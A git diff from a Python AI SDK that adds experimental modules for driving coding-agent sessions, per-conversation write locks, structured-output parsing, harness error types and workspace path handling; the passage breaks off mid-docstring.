Field(default_factory=usage_.Usage) + + output: Any | None = None + """The validated value when the turn ran with `output_type=`.""" + + prompt_sent: str = "" + """Exactly what the agent received — including any schema annotation the + SDK added. A prompt the SDK edited must be inspectable, or the + transcript contains messages the caller never wrote and cannot explain. + """ + + approval_errors: list[str] = Field(default_factory=list) + """Approval hooks that raised or timed out. + + Those calls were DENIED (an approval gate that fails open is not a gate), + and the failures are reported here rather than swallowed. + """ + + @property + def cancelled(self) -> bool: + return self.finish_reason == "cancelled" diff --git a/src/ai/harnesses/experimental/_session.py b/src/ai/harnesses/experimental/_session.py new file mode 100644 index 00000000..d89c0e4d --- /dev/null +++ b/src/ai/harnesses/experimental/_session.py @@ -0,0 +1,477 @@ +"""A conversation, and the verbs that control it while it runs. + +Control lives HERE, not on the turn: there is only ever one active turn per +session, so `steer`/`stop` need no handle to target. That is what keeps the +Turn a read-only stream and removes the entire class of bugs that came from +an object which was both awaitable and iterable. +""" + +from __future__ import annotations + +import asyncio +from typing import TYPE_CHECKING, Any, TypeVar + +from pydantic import BaseModel + +from ...types import events +from ...types import messages as messages_ +from ...types import usage as usage_ +from . import _handle, _result, errors +from . import _structured as _structured_ + +if TYPE_CHECKING: + from collections.abc import AsyncIterator + + from ...workspaces.experimental import _pty + from . import _harness + +T = TypeVar("T") + + +class SessionInfo(BaseModel): + """One conversation in the harness's own store. + + `kind` names the harness that owns it. A session id alone does not: + codex ids happen to be UUIDv7 and claude's UUIDv4, which is an accident + of two implementations, not something to build on. Gather sessions + from several harnesses into one list and each still says whose it is — + the same field `Handle.kind` carries, which is how `resume()` picks the + adapter. + """ + + kind: str + session_id: str + title: str | None = None + cwd: str | None = None + updated_at: int | None = None + created_at: int | None = None + running: bool = False + """Whether a client currently holds this conversation open — it would + refuse `resume` with SessionBusyError; `fork` it instead.""" + + +class Turn: + """A settling turn: iterate it for events, then read `result`.""" + + def __init__(self, session: Session, prompt: str, sent: str) -> None: + self._session = session + self._prompt = prompt + self._sent = sent + self._result: _result.Result | None = None + self._consumed = False + self._inner: Any = None + + @property + def result(self) -> _result.Result: + if self._result is None: + raise RuntimeError( + "turn is not settled yet — iterate it to completion first" + ) + return self._result + + @property + def settled(self) -> bool: + return self._result is not None + + async def __aiter__(self) -> AsyncIterator[events.AgentEvent]: + if self._consumed: + # A consumed stream is exhausted, never silently replayed. + return + self._consumed = True + self._inner = self._session._drive(self) + async for event in self._inner: + yield event + + async def aclose(self) -> None: + """Close the stream and settle now. + + Cancelling a consumer does NOT run an async generator's `finally` + promptly — cleanup waits for close or garbage collection — so a + deadline must close the turn explicitly or it would settle with + nothing and lose everything the harness already streamed. + """ + if self._inner is not None: + await self._inner.aclose() + self._inner = None + + +class Tui: + """A conversation a human is driving, in the harness's own TUI. + + The sibling of `Session`: two ways a conversation runs, two types with + the same identity and the same two lifecycle verbs, and different + capabilities. A `Session` is driven by this API (`run`, `steer`, + `stop`); a `Tui` is driven by whoever `tty.bridge` connects, so it + carries no such verbs — calling `run()` on a TUI conversation would + open a second writer on it, and the lock would refuse. + + `session_id` is known at launch when the CLI let us choose it (claude) + or told us (codex, for a conversation with a past). A bare `tui()` on + codex never learns it: codex picks its own id, so it stays None; find + the conversation with `sessions()`. + `handle` is what an app saves to come back later, like `session.handle`. + """ + + def __init__( + self, harness: _harness.Harness, pty: _pty.Pty, session_id: str | None + ) -> None: + self._harness = harness + self.pty = pty + self.session_id = session_id + + @property + def handle(self) -> _handle.Handle | None: + if self.session_id is None: + return None + return _handle.Handle( + kind=self._harness.kind, + session_id=self.session_id, + workspace=self._harness.workspace.coords, + options=self._harness.options, + harness_version=self._harness.version, + ) + + async def detach(self) -> None: + """Drop this connection. + + A named TUI keeps running — and keeps its claim on the conversation; + attach again with `workspace.attach`. + """ + await self.pty.detach() + + async def close(self) -> None: + """End the TUI, then release the conversation's claim.""" + await self.pty.close() + if self.session_id is not None: + await self._harness.adapter.release_tui_lock(self.session_id) + + def __repr__(self) -> str: + return f"" + + +class Session: + def __init__( + self, + harness: _harness.Harness, + session_id: str, + history: list[messages_.Message] | None = None, + ) -> None: + self._harness = harness + self._session_id = session_id + # A history to begin FROM: stored natively by the harness when the + # session is created, and this session's own past from message one. + self._history: list[messages_.Message] = list(history or []) + self._messages: list[messages_.Message] = list(self._history) + self._lock = asyncio.Lock() + self._active: Turn | None = None + self._stopped = False + + @property + def session_id(self) -> str: + return self._session_id + + @property + def messages(self) -> list[messages_.Message]: + """The conversation so far, in AI SDK shape.""" + return list(self._messages) + + @property + def handle(self) -> _handle.Handle: + return _handle.Handle( + kind=self._harness.kind, + session_id=self._session_id, + workspace=self._harness.workspace.coords, + options=self._harness.options, + harness_version=self._harness.version, + ) + + # -- turns ---------------------------------------------------------------- + + async def run( + self, + prompt: str, + *, + output_type: type[T] | None = None, + retries: int = 1, + timeout: float | None = None, + ) -> _result.Result: + """Send a prompt and wait for the turn to settle.""" + if output_type is None: + return await self._once(prompt, timeout=timeout) + return await self._structured(prompt, output_type, retries, timeout) + + def stream(self, prompt: str) -> Turn: + """Send a prompt and iterate its events. Read `.result` after.""" + return Turn(self, prompt, prompt) + + async def reclaim(self) -> None: + """Public form of `_reclaim`, for callers driving turns by hand.""" + await self._reclaim() + + async def _reclaim(self) -> None: + """Settle a turn whose consumer walked away. + + `async for event in turn: break` is ordinary Python, and it must not + strand the session. Closing the abandoned stream runs its cleanup, + settles it, and frees the lock for the next turn. + """ + turn = self._active + if turn is not None and not turn.settled: + await turn.aclose() + + async def _once( + self, prompt: str, *, timeout: float | None = None + ) -> _result.Result: + await self._ensure() + await self._reclaim() + turn = Turn(self, prompt, prompt) + if timeout is None: + async for _ in turn: + pass + return turn.result + # A deadline is a settlement, not an exception: stop the agent + # gracefully and keep whatever it produced. + try: + async with asyncio.timeout(timeout): + async for _ in turn: + pass + except TimeoutError: + await self._harness.adapter.stop(self._session_id) + self._stopped = True + await turn.aclose() + if not turn.settled: + return _result.Result( + finish_reason="cancelled", + messages=self.messages, + prompt_sent=prompt, + ) + return turn.result.model_copy(update={"finish_reason": "cancelled"}) + return turn.result + + async def _structured( + self, + prompt: str, + output_type: type[T], + retries: int, + timeout: float | None, + ) -> _result.Result: + """Run a turn and parse its answer as `output_type`. + + Structured output is a LAYER over run(), never inside the turn driver: + it only ever calls `_once`, so the settling path knows nothing about + schemas. + """ + sent = _structured_.annotate(prompt, output_type) + result = await self._once(sent, timeout=timeout) + result.prompt_sent = sent + for attempt in range(retries + 1): + parsed, error = _structured_.parse(result.text, output_type) + if error is None: + result.output = parsed + return result + if attempt == retries or result.cancelled: + raise error + result = await self._once( + f"Your previous reply failed validation: {error}\n" + + "Reply again with ONLY the corrected JSON.", + timeout=timeout, + ) + result.prompt_sent = sent + return result + + async def _ensure(self) -> None: + """Create the harness-side conversation on first use.""" + if not self._session_id: + self._session_id = await self._harness.adapter.new_session( + history=self._history or None + ) + self._harness._register(self) + + async def _drive(self, turn: Turn) -> AsyncIterator[events.AgentEvent]: + """One turn at a time; the turn stays open for writing while it runs. + + The lock is acquired manually rather than with `async with`, because + an abandoned async generator only runs its cleanup when it is + CLOSED. Holding the lock across yields inside a context manager + meant that `async for event in turn: break` — ordinary Python — + wedged the session forever. `_reclaim()` closes such a turn. + """ + await self._ensure() + await self._lock.acquire() + self._active = turn + self._stopped = False + settled: events.StreamEnd | None = None + # The AI SDK reconstructs messages from the event stream, so a turn + # abandoned mid-flight still carries whatever arrived — that is what + # makes an interruption a settlement rather than a loss. + hydrator = events.MessageHydrator() + # History is the SESSION's, single-sourced: the prompt is a real + # message in the transcript before the agent ever sees it. + self._messages.append( + messages_.Message( + role="user", parts=[messages_.TextPart(text=turn._prompt)] + ) + ) + # Message identity is decided HERE, not by adapters. The hydrator + # needs an id to know where a message ends: after a tool result it + # switches to that role="tool" message, and an identity-less text + # event that follows is glued onto it — then a StreamEnd carrying + # some other id gets written onto the same object, which is already + # in history. So every model event is stamped with the current + # assistant segment, and a tool result starts a new segment, exactly + # as the AI SDK's own agent loop does. The adapter's own StreamEnd + # is kept as `raw` for settlement; only the streamed copy is + # re-identified. + segment = messages_.Message(role="assistant", parts=[]) + try: + async for raw in self._harness.adapter.turn( + self._session_id, turn._prompt + ): + fed = raw + if isinstance(raw, events.ModelEvent): + fed = raw.model_copy( + update={ + "message": messages_.Message( + id=segment.id, role="assistant", parts=[] + ) + } + ) + # Events are frozen, so the hydrator cannot annotate them in + # place: it returns a COPY whose `.message` is the running + # assistant message, and whose `ToolEnd.tool_call` is the + # complete call. That copy is what the AI SDK's contract + # says a consumer receives — every event carries the + # message so far. Discarding it, as this loop once did, + # handed out events whose `.message` was an empty + # placeholder until StreamEnd. + event = hydrator.feed(fed) + if isinstance(raw, events.StreamEnd): + # Settle on the adapter's own final message: it carries + # provider metadata the reconstruction does not. + settled = raw + elif isinstance(raw, events.ToolCallResult): + # Tool results are their own messages; they land in + # history as they arrive, not at settle. + self._messages.append(raw.message) + segment = messages_.Message(role="assistant", parts=[]) + yield event + finally: + self._active = None + approval_errors = self._harness._take_approval_errors() + turn._result = self._settle( + settled, hydrator, turn, approval_errors + ) + self._lock.release() + + def _settle( + self, + end: events.StreamEnd | None, + hydrator: events.MessageHydrator, + turn: Turn, + approval_errors: list[str], + ) -> _result.Result: + # Whatever the harness finished with, or whatever the stream got to + # before it was interrupted. An interrupted turn may span several + # assistant segments (one per tool round); keep all of them. + if end is not None: + message: messages_.Message | None = end.message + else: + parts = [ + part + for m in hydrator.messages + if m.role == "assistant" + for part in m.parts + ] + message = messages_.Message(role="assistant", parts=parts) + if message is not None and not message.parts: + message = None + if message is not None: + self._messages.append(message) + # A stopped turn is cancelled regardless of what the harness called + # it: we are the ones who interrupted it. + finish = ( + "cancelled" + if self._stopped + else (end.finish_reason if end else "cancelled") + ) + return _result.Result( + finish_reason=finish or "stop", + text=_text_of(message), + messages=self.messages, + usage=( + end.usage if end is not None and end.usage else usage_.Usage() + ), + prompt_sent=turn._sent, + approval_errors=approval_errors, + ) + + # -- control -------------------------------------------------------------- + + async def steer(self, text: str) -> None: + """Inject guidance into the turn that is running right now.""" + if not self._harness.capabilities.steer: + raise errors.UnsupportedError(self._harness.name, "steer") + if self._active is None: + raise RuntimeError("no active turn to steer") + await self._harness.adapter.steer(self._session_id, text) + # A steering message is a real user message. If it only existed on + # the wire, the transcript would not explain why the agent changed + # course. + self._messages.append( + messages_.Message( + role="user", parts=[messages_.TextPart(text=text)] + ) + ) + + async def stop(self) -> None: + """Interrupt gracefully. + + The turn settles as cancelled; the harness keeps its transcript and the + conversation stays resumable. + """ + if not self._harness.capabilities.stop: + raise errors.UnsupportedError(self._harness.name, "stop") + self._stopped = True + await self._harness.adapter.stop(self._session_id) + # Stopping means the turn is over: settle it now so `turn.result` is + # readable and the session is immediately usable again. + await self._reclaim() + + async def close(self) -> None: + await self._harness.adapter.close_session(self._session_id) + + def _seed(self, messages: list[messages_.Message]) -> None: + """Install a replayed transcript as this session's past.""" + self._messages = list(messages) + + def __repr__(self) -> str: + return f"" + + +def _text_of(message: messages_.Message | None) -> str: + """Return the agent's FINAL message: what it said after its last action. + + A turn's assistant message holds every part in order — "I'll write the + file", the tool call, "Done". The text a caller wants is the last of + those, not the narration glued to it. Codex labels its preamble + `commentary` and the adapter already drops it; claude does not label + anything, so the boundary has to be found here, harness-agnostically: + the last tool call splits the turn, and only what follows it is the + answer. A turn with no tool calls is one segment, all of it answer. + """ + if message is None: + return "" + parts = message.parts + last_call = max( + ( + i + for i, part in enumerate(parts) + if isinstance(part, messages_.ToolCallPart) + ), + default=-1, + ) + return "".join( + part.text + for part in parts[last_call + 1 :] + if isinstance(part, messages_.TextPart) + ) diff --git a/src/ai/harnesses/experimental/_session_lock.py b/src/ai/harnesses/experimental/_session_lock.py new file mode 100644 index 00000000..bf691dd8 --- /dev/null +++ b/src/ai/harnesses/experimental/_session_lock.py @@ -0,0 +1,174 @@ +"""One writer per conversation, enforced in the workspace. + +Codex refuses a second writer on a live thread itself. Claude does not, so +two clients can silently write one transcript. This lock gives every +harness codex's behaviour, using nothing but the workspace's own primitives +— a harness acquires it for the conversations it opens, and a returning +client that finds it held gets `SessionBusyError` instead of a corrupted +transcript. + +Layout, per harness kind, under the workspace machine's HOME: + + ~/.ai-python/locks///holder.json + +A lock is a DIRECTORY because `mkdir` is atomic on every POSIX filesystem: +two clients racing for the same conversation cannot both succeed. The +holder file records the pid that owns it, so a lock whose process is gone +is recognised as stale and reclaimed rather than blocking forever. A lock +recorded before its process existed (the pid is filled in after launch) is +trusted only briefly: past `STALE_AFTER` it is a launch that never finished. + +Everything here goes through the workspace's own primitives — `home()`, +`write_text`, `read_text`, `exists` — and falls back to a plain argv `exec` +only for what has no primitive: an exclusive `mkdir` (the atomic step), +removal, listing, and a process-liveness probe. Never a shell string. + +The harness that acquires a lock keeps it across `detach()` — the process +is still running and still the writer — and releases it on `close()`, once +the process is confirmed gone. +""" + +from __future__ import annotations + +import json +import time +from dataclasses import dataclass +from typing import TYPE_CHECKING + +from . import errors + +if TYPE_CHECKING: + from ...workspaces.experimental import _base + +STALE_AFTER = 120.0 +"""Seconds a pid-less lock is honoured before it counts as abandoned.""" + +_LIVENESS = "import os, sys\nos.kill(int(sys.argv[1]), 0)\n" + + +@dataclass(frozen=True) +class Holder: + """Who holds a conversation open.""" + + session_id: str + pid: int | None + since: int + client: str + + +class SessionLock: + def __init__(self, workspace: _base.Workspace, kind: str) -> None: + self._workspace = workspace + self._kind = kind + self._root: str | None = None + + async def root(self) -> str: + if self._root is None: + home = await self._workspace.home() + self._root = f"{home}/.ai-python/locks/{self._kind}" + return self._root + + async def acquire( + self, session_id: str, *, pid: int | None = None, client: str = "" + ) -> None: + """Take the lock, or raise SessionBusyError naming the live holder. + + A stale lock — its pid gone, or pid-less and older than STALE_AFTER + — is reclaimed. Two clients reclaiming at once still cannot both + win: the second `mkdir` fails and that client is told busy. + """ + directory = f"{await self.root()}/{session_id}" + await self._workspace.exec( + ["mkdir", "-p", await self.root()], timeout=30 + ) + if await self._mkdir(directory): + await self._record(directory, pid, client) + return + holder = await self._read(session_id, directory) + if holder is not None and await self._live(holder): + raise errors.SessionBusyError(session_id, holder.pid) + await self._workspace.exec(["rm", "-rf", directory], timeout=30) + if not await self._mkdir(directory): + raise errors.SessionBusyError( + session_id, None, "contested while reclaiming a stale lock" + ) + await self._record(directory, pid, client) + + async def claim_pid( + self, session_id: str, pid: int | None, client: str = "" + ) -> None: + """Fill in the pid once the process exists.""" + if pid is None: + return + await self._record(f"{await self.root()}/{session_id}", pid, client) + + async def release(self, session_id: str) -> None: + await self._workspace.exec( + ["rm", "-rf", f"{await self.root()}/{session_id}"], timeout=30 + ) + + async def holder(self, session_id: str) -> Holder | None: + """Return the live holder of a conversation, or None when it is free.""" + holder = await self._read( + session_id, f"{await self.root()}/{session_id}" + ) + if holder is None or not await self._live(holder): + return None + return holder + + async def running(self) -> set[str]: + """Every conversation with a live holder, in one pass.""" + root = await self.root() + listing = await self._workspace.exec(["ls", root], timeout=30) + live: set[str] = set() + for session_id in ( + listing.stdout.split() if listing.exit_code == 0 else [] + ): + if await self.holder(session_id) is not None: + live.add(session_id) + return live + + # -- plumbing --------------------------------------------------------- + + async def _mkdir(self, directory: str) -> bool: + return ( + await self._workspace.exec(["mkdir", directory], timeout=30) + ).exit_code == 0 + + async def _record( + self, directory: str, pid: int | None, client: str + ) -> None: + info = json.dumps( + {"pid": pid, "since": int(time.time()), "client": client} + ) + await self._workspace.write_text(f"{directory}/holder.json", info) + + async def _read(self, session_id: str, directory: str) -> Holder | None: + try: + raw = json.loads( + await self._workspace.read_text(f"{directory}/holder.json") + ) + except (FileNotFoundError, ValueError): + if await self._exists(directory): + # A directory without a record: a launch that died between + # mkdir and the write. Nothing can own it. + return Holder(session_id, None, 0, "") + return None + pid = raw.get("pid") + return Holder( + session_id, + int(pid) if isinstance(pid, int) else None, + int(raw.get("since") or 0), + str(raw.get("client") or ""), + ) + + async def _exists(self, directory: str) -> bool: + return await self._workspace.exists(directory) + + async def _live(self, holder: Holder) -> bool: + if holder.pid is None: + return (time.time() - holder.since) < STALE_AFTER + probe = await self._workspace.exec( + ["python3", "-c", _LIVENESS, str(holder.pid)], timeout=30 + ) + return probe.exit_code == 0 diff --git a/src/ai/harnesses/experimental/_structured.py b/src/ai/harnesses/experimental/_structured.py new file mode 100644 index 00000000..ae05eb2a --- /dev/null +++ b/src/ai/harnesses/experimental/_structured.py @@ -0,0 +1,60 @@ +"""Structured output, as a layer. + +Deliberately outside the turn driver. It only calls `run()`, so the settling +path never learns what a schema is — which is what keeps cancellation, +deadlines, and validation from interacting. + +It also means the SDK is EDITING the caller's prompt, so `annotate` is the +one place that happens and `Result.prompt_sent` always shows the outcome. +""" + +from __future__ import annotations + +import json +from typing import Any, TypeVar + +from pydantic import TypeAdapter + +T = TypeVar("T") + +INSTRUCTION = ( + "\n\nRespond with ONLY a JSON value matching this schema — " + + "no prose, no code fences:\n" +) + + +def annotate(prompt: str, output_type: type[T]) -> str: + schema = json.dumps(TypeAdapter(output_type).json_schema()) + return prompt + INSTRUCTION + schema + + +def parse(text: str, output_type: type[T]) -> tuple[T | None, Exception | None]: + adapter: TypeAdapter[Any] = TypeAdapter(output_type) + try: + return adapter.validate_json(_extract_json(text)), None + except Exception as exc: + return None, exc + + +def _extract_json(text: str) -> str: + """Best effort: the model was told "only JSON", but fences happen.""" + candidate = text.strip() + if candidate.startswith("```"): + parts = candidate.split("```") + if len(parts) >= 2: + candidate = parts[1].removeprefix("json").strip() + try: + json.loads(candidate) + return candidate + except json.JSONDecodeError: + pass + for opener, closer in (("{", "}"), ("[", "]")): + start, end = candidate.find(opener), candidate.rfind(closer) + if 0 <= start < end: + sliced = candidate[start : end + 1] + try: + json.loads(sliced) + return sliced + except json.JSONDecodeError: + continue + return candidate diff --git a/src/ai/harnesses/experimental/errors.py b/src/ai/harnesses/experimental/errors.py new file mode 100644 index 00000000..932692fc --- /dev/null +++ b/src/ai/harnesses/experimental/errors.py @@ -0,0 +1,138 @@ +"""Harness errors. + +The taxonomy is small on purpose: every entry answers a question the caller +can act on. + +Experimental: not part of the stable API, may change or be removed. +""" + +from __future__ import annotations + +from ... import errors as ai_errors +from ...workspaces.experimental import errors as workspace_errors + +NotAuthenticatedError = workspace_errors.NotAuthenticatedError + + +class HarnessError(ai_errors.AIError): + """Base for everything the harnesses raise deliberately.""" + + +class UnsupportedError(HarnessError): + """The harness cannot do this, and saying so is the contract. + + Never a silent no-op: a capability that is quietly ignored looks exactly + like one that works, which is the single most expensive lie this SDK can + tell. + """ + + def __init__(self, harness: str, capability: str, detail: str = "") -> None: + message = f"{harness} does not support {capability}" + super().__init__(f"{message}: {detail}" if detail else message) + self.harness = harness + self.capability = capability + + +class HarnessClosedError(HarnessError): + """The harness was closed; open a new one.""" + + +class ExecutableMissingError(HarnessError): + """The harness binary is not installed where the workspace can run it.""" + + def __init__( + self, kind: str, executable: str, install: str | None = None + ) -> None: + hint = f" — install it with: {install}" if install else "" + super().__init__( + f"{kind} needs {executable!r}, which is not runnable{hint}" + ) + self.kind = kind + self.executable = executable + self.install = install + + +class SessionBusyError(HarnessError): + """Another client holds this conversation open. + + One writer per conversation, on every harness: codex enforces it in + app-server; the SDK enforces it for the others with a lock kept in the + workspace. `fork(session_id)` continues from the same history in a + conversation of your own; `close()` on the holder ends its claim. + """ + + def __init__( + self, session_id: str, holder_pid: int | None = None, detail: str = "" + ) -> None: + self.session_id = session_id + self.holder_pid = holder_pid + who = f"process {holder_pid}" if holder_pid else "another client" + message = ( + f"session {session_id} is held by {who}: fork(session_id) to " + "continue " + "from its history, or close() the holder" + ) + if detail: + message += f" ({detail})" + super().__init__(message) + + +class ResumeFailedError(HarnessError): + """The named conversation could not be reopened.""" + + def __init__(self, session_id: str, detail: str) -> None: + super().__init__(f"cannot resume session {session_id}: {detail}") + self.session_id = session_id + + +class AgentCrashedError(HarnessError): + """The harness process died while we were driving it. + + Carries whatever evidence the harness library gave us, because "the turn + failed" without a reason is the least actionable error there is. + """ + + def __init__( + self, harness: str, detail: str, exit_code: int | None = None + ) -> None: + code = f" (exit {exit_code})" if exit_code is not None else "" + super().__init__(f"{harness} crashed{code}: {detail}") + self.harness = harness + self.detail = detail + self.exit_code = exit_code + + +class TurnFailedError(HarnessError): + """The harness reported the turn itself as failed. + + Distinct from a crash (the process is fine) and from a refusal (the + model declining is a normal settlement, not an error). + """ + + def __init__(self, harness: str, detail: str) -> None: + super().__init__(f"{harness} turn failed: {detail}") + self.harness = harness + self.detail = detail + + +# Phrases that mean "no usable credentials", collected from what the two +# harnesses actually print. Deliberately narrow: a 403 is authorization, +# not authentication, and mislabelling a permissions problem as a login +# problem sends someone to fix the wrong thing. +_AUTH_MARKERS = ( + "401", + "unauthorized", + "missing bearer", + "not logged in", + "invalid_api_key", + "invalid api key", + "authentication_error", + "no api key", + "please run /login", + "please run `codex login`", +) + + +def _looks_unauthenticated(detail: str) -> bool: + """Whether a harness's failure text is a credentials problem.""" + lowered = (detail or "").lower() + return any(marker in lowered for marker in _AUTH_MARKERS) diff --git a/src/ai/providers/_optional.py b/src/ai/providers/_optional.py index d3f48140..5ee15265 100644 --- a/src/ai/providers/_optional.py +++ b/src/ai/providers/_optional.py @@ -12,17 +12,25 @@ def import_optional_sdk( - module_name: str, *, provider: str, extra: str + module_name: str, + *, + provider: str | None = None, + extra: str, + feature: str | None = None, ) -> ModuleType: - """Import an optional upstream SDK or raise a helpful installation error.""" + """Import an optional upstream SDK or raise a helpful installation error. + + ``feature`` names what needs the SDK when it is not a provider. + """ root_module = module_name.partition(".")[0] + feature = feature or f"the {provider} provider" try: return importlib.import_module(module_name) except ModuleNotFoundError as exc: if exc.name not in {module_name, root_module}: raise raise ai_errors.InstallationError( - f"could not import `{root_module}`, which is required to use the " - f"{provider} provider, you can install it with `pip install " + f"could not import `{root_module}`, which is required to use " + f"{feature}, you can install it with `pip install " f'"ai[{extra}]"` or `uv add "ai[{extra}]"`' ) from exc diff --git a/src/ai/workspaces/__init__.py b/src/ai/workspaces/__init__.py new file mode 100644 index 00000000..e04348d8 --- /dev/null +++ b/src/ai/workspaces/__init__.py @@ -0,0 +1,5 @@ +"""Places where agents run and files live.""" + +from . import experimental + +__all__ = ["experimental"] diff --git a/src/ai/workspaces/experimental/__init__.py b/src/ai/workspaces/experimental/__init__.py new file mode 100644 index 00000000..1e8d06fb --- /dev/null +++ b/src/ai/workspaces/experimental/__init__.py @@ -0,0 +1,39 @@ +"""Where a harness runs and its files live: this machine or a Vercel Sandbox. + +Experimental: not part of the stable API, may change or be removed. + +`tty` is not imported here: it needs POSIX terminals. Import it as +`from ai.workspaces.experimental import tty`. +""" + +from . import errors +from ._base import ( + ExecResult, + Process, + Workspace, + WorkspaceCoords, + WorkspacePath, + contains, + copy, +) +from ._gateway import Gateway, vercel_ai_gateway +from ._local import Local +from ._pty import Pty, PtyInfo +from ._sandbox import VercelSandbox + +__all__ = [ + "ExecResult", + "Gateway", + "Local", + "Process", + "Pty", + "PtyInfo", + "VercelSandbox", + "Workspace", + "WorkspaceCoords", + "WorkspacePath", + "contains", + "copy", + "errors", + "vercel_ai_gateway", +] diff --git a/src/ai/workspaces/experimental/_base.py b/src/ai/workspaces/experimental/_base.py new file mode 100644 index 00000000..22c5a77d --- /dev/null +++ b/src/ai/workspaces/experimental/_base.py @@ -0,0 +1,457 @@ +"""Where an agent runs. + +A workspace is the only thing in this SDK that knows about paths and +processes. Adapters never spawn anything themselves — they ask the +workspace — which is the entire reason the same adapter drives a CLI on +this machine or inside a microVM. + +Two rules make that true, and both are load-bearing: + +1. Artifacts move through `read_text`/`write_text`, never `pathlib`. A + caller reaching for the local filesystem silently breaks the moment the + workspace is remote. +2. Containment is judged HERE, by pure-path normalization, never by + resolving against this machine's filesystem — a remote path does not + exist locally, so `Path.resolve()` would be answering a different + question. +""" + +from __future__ import annotations + +import shutil +import tempfile +from abc import ABC, abstractmethod +from dataclasses import dataclass +from fnmatch import fnmatch +from pathlib import Path, PurePosixPath +from typing import TYPE_CHECKING, Any, Protocol, Self + +from pydantic import BaseModel + +from . import _gateway, _gitignore, _pty + +if TYPE_CHECKING: + from collections.abc import Iterator, Mapping, Sequence + +# Directories nobody means to ship into a workspace. +DEFAULT_IGNORE: tuple[str, ...] = ( + ".git", + ".hg", + ".svn", + "node_modules", + ".venv", + "venv", + "__pycache__", + ".mypy_cache", + ".pytest_cache", + ".ruff_cache", + ".next", + "dist", + "build", + "*.pyc", + ".DS_Store", +) + + +def walk_uploadable( + source: Path, ignore: Sequence[str], *, gitignore: bool = True +) -> Iterator[tuple[Path, str]]: + """Yield (local file, workspace-relative posix path) for what should travel. + + Skipped: anything an `ignore` glob matches and, unless `gitignore` is + off, anything the tree's `.gitignore` files exclude. A skipped directory + is pruned rather than walked, which is what makes excluding + `node_modules` cheap instead of merely tidy. + """ + rules = _gitignore.GitIgnore(source) if gitignore else None + + def excluded(name: str) -> bool: + return any(fnmatch(name, pattern) for pattern in ignore) + + def walk( + directory: Path, prefix: str, scopes: tuple[_gitignore.Scope, ...] + ) -> Iterator[tuple[Path, str]]: + if rules is not None: + scopes = rules.descend(scopes, directory, prefix) + for entry in sorted(directory.iterdir()): + if excluded(entry.name): + continue + relative = f"{prefix}{entry.name}" + # A symlink is a file to git, whatever it points at. + is_dir = entry.is_dir() and not entry.is_symlink() + if rules is not None and rules.ignored( + scopes, relative, entry.name, is_dir=is_dir + ): + continue + if is_dir: + yield from walk(entry, f"{relative}/", scopes) + elif entry.is_file(): + if excluded(relative): + continue + yield entry, relative + + yield from walk(source, "", rules.above if rules is not None else ()) + + +def copy_tree( + source: Path, dest: Path, ignore: Sequence[str], *, gitignore: bool +) -> int: + """Copy what `walk_uploadable` yields into a local directory. + + Returns the number of files copied. Blocking: run it in a thread. + """ + count = 0 + for local, relative in walk_uploadable(source, ignore, gitignore=gitignore): + target = dest / relative + target.parent.mkdir(parents=True, exist_ok=True) + shutil.copyfile(local, target) + count += 1 + return count + + +@dataclass(frozen=True) +class WorkspacePath: + """A path, and the workspace it lives in. + + Built with `workspace / "some/path"`, the same `/` pathlib uses. It + exists so `copy` can tell which side of a transfer is remote without a + direction flag or a second method. + """ + + workspace: Workspace + path: str + + def __truediv__(self, other: str) -> WorkspacePath: + return WorkspacePath(self.workspace, f"{self.path.rstrip('/')}/{other}") + + def __str__(self) -> str: + return f"{self.workspace.kind}:{self.path}" + + +class ExecResult(BaseModel): + """A finished one-shot command.""" + + exit_code: int + stdout: str = "" + stderr: str = "" + + +class WorkspaceCoords(BaseModel): + """A serializable locator for a workspace. + + Carried inside a Handle so another process can reopen the same place. + """ + + provider: str + location: str + options: dict[str, Any] = {} + + +class Process(Protocol): + """A live process with duplex stdio. + + This is what makes adapters location-agnostic: a harness CLI's stdin and + stdout are just these streams, whether the process is a local child or a + program inside a microVM. + """ + + @property + def pid(self) -> int | None: ... + + async def write(self, data: str) -> None: ... + + async def readline(self) -> str: ... + + async def read_stderr(self) -> str: ... + + async def terminate(self) -> None: ... + + async def kill(self) -> None: ... + + async def os_pid(self) -> int | None: + """Return the pid where the process RUNS. + + `pid` for a local child, the in-VM pid for a remote one. What a liveness + check needs. + """ + return self.pid + + async def detach(self) -> None: + """Release this handle WITHOUT ending the process. + + Where the workspace outlives the client (a sandbox), the program + keeps running for a later reconnect. Where processes die with the + client (a local child), this is terminate(). + """ + ... + + async def wait(self) -> int | None: ... + + +def contains(root: str, candidate: str) -> bool: + """Pure-path containment: no filesystem access, no symlink resolution. + + Relative paths are denied outright. The harness resolves them against + its own cwd, which this process cannot observe — and a containment + answer that might be wrong is worse than a refusal. + """ + if not candidate.startswith("/"): + return False + root_path = PurePosixPath(root) + parts: list[str] = [] + for part in PurePosixPath(candidate).parts: + if part == "..": + if not parts or parts == ["/"]: + return False + parts.pop() + elif part not in (".",): + parts.append(part) + normalized = PurePosixPath(*parts) + return normalized == root_path or root_path in normalized.parents + + +class Workspace(ABC): + """The contract every implementation keeps identically.""" + + kind: str + + owner: str = "user" + """Who owns this machine — "user" or "provider". + + A user's own machine is never modified without being asked: a missing + harness raises. A provider-owned box (an ephemeral microVM we created) + is ours to provision, so a missing harness is installed. + """ + + duplex_spawn: bool = True + """Whether `spawn` returns a process with a WRITABLE stdin. + + An adapter that needs to write to a harness CLI checks this before + spawning one. True on both workspaces today: the Vercel Sandbox process + API has no stdin, so `VercelSandbox.spawn` feeds one through a FIFO. + """ + + env: dict[str, str] + """What the WORK needs: the project's own configuration. + + Applied to everything run here — your own `exec` and `spawn` calls, the + harness process, and therefore the commands the agent itself runs. A + harness overlays what the AGENT needs (its model, how it is told where + the model is) on top of this. + """ + + gateway: _gateway.Gateway | None = None + """Where a model is reached from here: a base URL and a credential. + + The workspace's, because reaching a model is a question about the + machine the work happens on — its network, its environment — not about + which agent asks. A harness opened here without a `gateway=` of its own + uses this one, spelled the way its CLI wants; the workspace never learns + that spelling. A `VercelSandbox` given a gateway also injects the + credential at egress (see `injects_credentials_for`), so the VM only + ever holds a placeholder. `Local` has no firewall: there the credential + goes in the environment, which is your own machine. + """ + + def injects_credentials_for(self, host: str) -> bool: + """Return whether requests to `host` get the credential at egress. + + Written into them outside anything that runs on this workspace. When + true, an adapter hands its CLI `gateway.brokered()`: a placeholder the + firewall overwrites, so the real key never enters the machine. The + default is no: only a workspace with a firewall of its own can say yes. + """ + return False + + @property + @abstractmethod + def path(self) -> str: + """The working directory, as the AGENT sees it. + + On a remote workspace this path means nothing on your machine. + """ + + @property + @abstractmethod + def coords(self) -> WorkspaceCoords: ... + + async def home(self) -> str: + """Return the home directory on the workspace's 